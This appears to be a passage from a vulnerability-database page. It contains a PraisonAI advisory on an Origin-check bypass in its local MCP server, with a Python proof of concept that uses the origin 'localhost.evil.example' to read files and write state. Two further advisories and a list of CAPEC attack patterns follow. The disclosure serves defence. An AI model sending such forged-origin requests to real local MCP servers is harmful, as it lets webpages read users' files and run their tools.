MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n    result = await tool.handler(**arguments)\nelse:\n    result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n    register_all_tools()\n    register_extended_capability_tools()\n    register_cli_tools()\n    register_mcp_resources()\n    register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -\u003e str:\n    from praisonai.capabilities import file_create\n    result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n    file_obj = open(file, \u0027rb\u0027)\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n    f = kwargs[\"file\"]\n    captured[\"filename\"] = getattr(f, \"name\", \"\u003cbytes\u003e\")\n    captured[\"content\"] = f.read().decode(\"utf-8\")\n\n    class Resp:\n        id = \"file-safe-local-poc\"\n        object = \"file\"\n        bytes = len(captured[\"content\"])\n        filename = captured[\"filename\"]\n        purpose = kwargs.get(\"purpose\")\n        status = \"processed\"\n\n    return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n    server=server,\n    host=\"127.0.0.1\",\n    api_key=None,\n    allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n    os.environ[\"HOME\"] = td\n\n    marker = Path(td) / \"safe-marker.txt\"\n    marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n    file_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.files.create\",\n            \"arguments\": {\n                \"file_path\": str(marker),\n                \"purpose\": \"assistants\",\n            },\n        },\n    }\n\n    # Non-localhost malicious origin is blocked.\n    blocked = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"https://evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    # Prefix-matching bypass: accepted because it starts with http://localhost.\n    bypass = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.todo.add\",\n            \"arguments\": {\n                \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n                \"priority\": \"high\",\n            },\n        },\n    }\n\n    todo = client.post(\n        \"/mcp\",\n        data=json.dumps(todo_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n    print(json.dumps({\n        \"blocked_origin_status\": blocked.status_code,\n        \"bypass_origin_status\": bypass.status_code,\n        \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n        \"captured_file_content\": captured.get(\"content\"),\n        \"todo_status\": todo.status_code,\n        \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"todo_file_exists\": todo_file.exists(),\n    }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n  \"blocked_origin_status\": 403,\n  \"bypass_origin_status\": 200,\n  \"bypass_response_text\": \"File created: file-safe-local-poc\",\n  \"captured_file_basename\": \"safe-marker.txt\",\n  \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n  \"todo_status\": 200,\n  \"todo_response_text\": \"Todo added: 0440613d\",\n  \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n- The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.",
  "id": "GHSA-wj6g-v78p-6fx3",
  "modified": "2026-08-25T14:26:26Z",
  "published": "2026-08-25T14:26:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server"
}

GHSA-WM9H-QWFM-WF3G

Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32
VLAI
Details

tiger-gh-mcp-server started its MCP HTTP transport without enabling the host allow-list the underlying SDK provides. src/httpServer.ts called the shared httpServerFactory helper and never set the DNS-rebinding-protection option, so the transport accepted a request whatever host it named, making the locally reachable GitHub MCP endpoint drivable from a page in a visitor's browser that pointed a name it controlled at the bound address. The fix passes the option explicitly alongside a dependency update; the update alone would not have closed it. The repository has published no release that brackets the fix, so the affected boundary is the commit preceding it.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
7.6 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T17:20:52Z",
    "severity": "HIGH"
  },
  "details": "tiger-gh-mcp-server started its MCP HTTP transport without enabling the host allow-list the underlying SDK provides. src/httpServer.ts called the shared httpServerFactory helper and never set the DNS-rebinding-protection option, so the transport accepted a request whatever host it named, making the locally reachable GitHub MCP endpoint drivable from a page in a visitor\u0027s browser that pointed a name it controlled at the bound address. The fix passes the option explicitly alongside a dependency update; the update alone would not have closed it. The repository has published no release that brackets the fix, so the affected boundary is the commit preceding it.",
  "id": "GHSA-wm9h-qwfm-wf3g",
  "modified": "2026-08-27T18:32:26Z",
  "published": "2026-08-27T18:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/timescale/tiger-gh-mcp-server/pull/36"
    },
    {
      "type": "WEB",
      "url": "https://github.com/timescale/tiger-gh-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/timescale-tiger-gh-mcp-server-dns-rebinding-via-disabled-host-header-allow-list"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WM9R-82QW-CFP5

Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-30 21:31
VLAI
Details

Insufficient policy enforcement in Prefetch in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-17662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T01:16:28Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in Prefetch in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-wm9r-82qw-cfp5",
  "modified": "2026-07-30T21:31:32Z",
  "published": "2026-07-30T03:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17662"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/497491557"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-160: Exploit Script-Based APIs

Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-510: SaaS User Request Forgery

An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-89: Pharming

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.

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